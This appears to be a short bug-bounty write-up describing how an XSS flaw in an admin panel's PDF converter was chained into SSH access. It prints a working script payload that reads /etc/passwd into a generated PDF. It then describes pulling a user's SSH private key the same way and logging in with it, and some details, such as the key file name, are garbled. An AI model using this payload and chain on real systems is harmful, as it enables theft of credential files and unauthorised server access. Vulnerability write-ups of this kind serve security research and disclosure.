XSS Attack To SSH

Admin Panel infected with XSS and uploading any file converted to pdf.

<script> 
x=new XMLHttpRequest; 
x.onload=function()
{ document.write(this.responseText) };
 x.open("GET","file:///etc/passwd"); x.send();
</script>

Next Download the pdf :

was able to read and load /etc/passwd, lets try to read something more interesting

/home/user/.ssh/rsa_id

result in :

Making local id_rsa and chmod it 700.. was able to gain ssh access

Inspired from :

Local File Read via XSS in Dynamically Generated PDF

REDIRECTING TO THE NEW BLOG ... Hello Hunters, This time I am writing about a Vulnerability found in another…

BloggerRahul Maini